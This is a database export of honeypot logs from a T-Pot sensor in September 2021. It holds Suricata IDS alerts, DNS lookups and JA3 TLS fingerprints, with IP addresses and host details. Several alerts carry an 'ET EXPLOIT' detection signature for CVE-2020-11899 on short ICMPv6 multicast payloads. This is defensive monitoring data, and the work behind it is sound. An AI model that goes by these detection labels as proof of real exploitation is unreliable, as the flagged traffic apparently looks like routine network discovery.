"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................(..*.......................'....DESKTOP-0VQD61B.......7..MSFT 5.0...........'"}}	1	\N	\N	alert	\N	\N
34908	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:04:52.540222+03	2021-09-20 15:15:02.536691+03	{"_id": "0wYYA3wBvYTbRNuEPVjY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:52.540222+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557466459710, "payload": "AAAABAMAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf/OYmcEAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:04:52.540222Z", "@timestamp": "2021-09-20T12:04:52.540Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........................................bg................................"}}	1	\N	\N	alert	\N	\N
34909	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:04:53.221532+03	2021-09-20 15:15:02.53769+03	{"_id": "1QYYA3wBvYTbRNuEQVjB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:53.221532+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ffce:6267", "flow_id": 1217369706160476, "payload": "AAAAAP6AAAAAAAAAfgGC9D7OYmc=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T12:04:53.221532Z", "@timestamp": "2021-09-20T12:04:53.221Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............~...>.bg"}}	1	\N	\N	alert	\N	\N
34910	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:04:52.540222+03	2021-09-20 15:15:02.53869+03	{"_id": "1AYYA3wBvYTbRNuEPVjY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:52.540222+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557466459710, "payload": "AAAABAMAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf/OYmcEAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:04:52.540222Z", "@timestamp": "2021-09-20T12:04:52.540Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........................................bg................................"}}	1	\N	\N	alert	\N	\N
34911	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:04:53.521417+03	2021-09-20 15:15:02.540689+03	{"_id": "1gYYA3wBvYTbRNuEQVjB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:52.540222+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 300}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557466459710, "payload": "AAAABAMAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf/OYmcEAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:04:53.521417Z", "@timestamp": "2021-09-20T12:04:53.521Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........................................bg................................"}}	1	\N	\N	alert	\N	\N
34912	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:05:00.108646+03	2021-09-20 15:15:02.541691+03	{"_id": "4AYYA3wBvYTbRNuEXVgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 29589, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 675750708291686, "@version": "1", "in_iface": "enp5s0", "src_port": 40153, "dest_port": 53, "timestamp": "2021-09-20T12:05:00.108646Z", "@timestamp": "2021-09-20T12:05:00.108Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34913	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:05:00.185808+03	2021-09-20 15:15:02.542689+03	{"_id": "6QYYA3wBvYTbRNuEXlh6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36048, "dest_port": 443, "timestamp": "2021-09-20T12:05:00.185808", "@timestamp": "2021-09-20T12:05:00.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34914	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:05:00.516793+03	2021-09-20 15:15:02.543691+03	{"_id": "6wYYA3wBvYTbRNuEXlh6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36050, "dest_port": 443, "timestamp": "2021-09-20T12:05:00.516793", "@timestamp": "2021-09-20T12:05:00.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34915	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:05:00.556793+03	2021-09-20 15:15:02.54569+03	{"_id": "7AYYA3wBvYTbRNuEXlh6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36050, "timestamp": "2021-09-20T12:05:00.556793", "@timestamp": "2021-09-20T12:05:00.556Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34916	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:05:00.228124+03	2021-09-20 15:15:02.54669+03	{"_id": "8QYYA3wBvYTbRNuEXlh8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36048, "timestamp": "2021-09-20T12:05:00.228124", "@timestamp": "2021-09-20T12:05:00.228Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34917	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:05:00.110501+03	2021-09-20 15:15:02.54769+03	{"_id": "4QYYA3wBvYTbRNuEXVgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 29589, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2374, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 675750708291686, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40153, "timestamp": "2021-09-20T12:05:00.110501Z", "@timestamp": "2021-09-20T12:05:00.110Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34918	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:05:00.467045+03	2021-09-20 15:15:02.549692+03	{"_id": "4gYYA3wBvYTbRNuEXVgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24393, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 845146365894757, "@version": "1", "in_iface": "enp5s0", "src_port": 59285, "dest_port": 53, "timestamp": "2021-09-20T12:05:00.467045Z", "@timestamp": "2021-09-20T12:05:00.467Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34919	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:05:00.468138+03	2021-09-20 15:15:02.550692+03	{"_id": "4wYYA3wBvYTbRNuEXVgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24393, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2374, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 845146365894757, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 59285, "timestamp": "2021-09-20T12:05:00.468138Z", "@timestamp": "2021-09-20T12:05:00.468Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34925	160.44.194.137	109.199.241.180	Suricata	2021-09-20 15:05:15.968501+03	2021-09-20 15:15:02.559691+03	{"_id": "-AYYA3wBvYTbRNuEm1im", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:05:15.968501+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "160.44.194.137", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "160.44.194.137", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 806519578543925, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 5223, "dest_port": 56830, "timestamp": "2021-09-20T12:05:15.968501Z", "@timestamp": "2021-09-20T12:05:15.968Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
34920	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 15:04:54.248677+03	2021-09-20 15:15:02.551692+03	{"_id": "2AYYA3wBvYTbRNuERViq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:54.248677+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1907538738465637, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:04:54.248677Z", "@timestamp": "2021-09-20T12:04:54.248Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
34921	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 15:04:54.248092+03	2021-09-20 15:15:02.55373+03	{"_id": "2wYYA3wBvYTbRNuERViu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:54.248092+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 250149513644316, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf/OYmcEAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:04:54.248092Z", "@timestamp": "2021-09-20T12:04:54.248Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........................................bg................................"}}	1	\N	\N	alert	\N	\N
34922	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 15:04:54.629529+03	2021-09-20 15:15:02.55472+03	{"_id": "3AYYA3wBvYTbRNuERViu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:54.248092+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 390}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 250149513644316, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf/OYmcEAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:04:54.629529Z", "@timestamp": "2021-09-20T12:04:54.629Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........................................bg................................"}}	1	\N	\N	alert	\N	\N
34923	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 15:04:55.143546+03	2021-09-20 15:15:02.55669+03	{"_id": "3QYYA3wBvYTbRNuESViT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:54.248092+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 480}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 250149513644316, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:04:55.143546Z", "@timestamp": "2021-09-20T12:04:55.143Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34924	160.44.194.137	109.199.241.180	Suricata	2021-09-20 15:05:16.232304+03	2021-09-20 15:15:02.55869+03	{"_id": "9wYYA3wBvYTbRNuEm1ik", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:05:15.968501+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "160.44.194.137", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "160.44.194.137", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 806519578543925, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 5223, "dest_port": 56830, "timestamp": "2021-09-20T12:05:16.232304Z", "@timestamp": "2021-09-20T12:05:16.232Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
34926	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 15:04:54.248092+03	2021-09-20 15:15:02.56069+03	{"_id": "2QYYA3wBvYTbRNuERViq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:54.248092+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 250149513644316, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf/OYmcEAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:04:54.248092Z", "@timestamp": "2021-09-20T12:04:54.248Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........................................bg................................"}}	1	\N	\N	alert	\N	\N
34927	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 15:04:54.254971+03	2021-09-20 15:15:02.56169+03	{"_id": "2gYYA3wBvYTbRNuERVis", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:54.248092+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 240}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 250149513644316, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:04:54.254971Z", "@timestamp": "2021-09-20T12:04:54.254Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
